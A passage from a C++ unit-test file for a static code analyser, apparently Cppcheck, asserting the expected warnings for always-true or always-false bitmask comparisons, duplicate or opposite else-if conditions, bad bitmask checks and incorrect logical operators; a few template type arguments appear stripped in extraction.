check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. 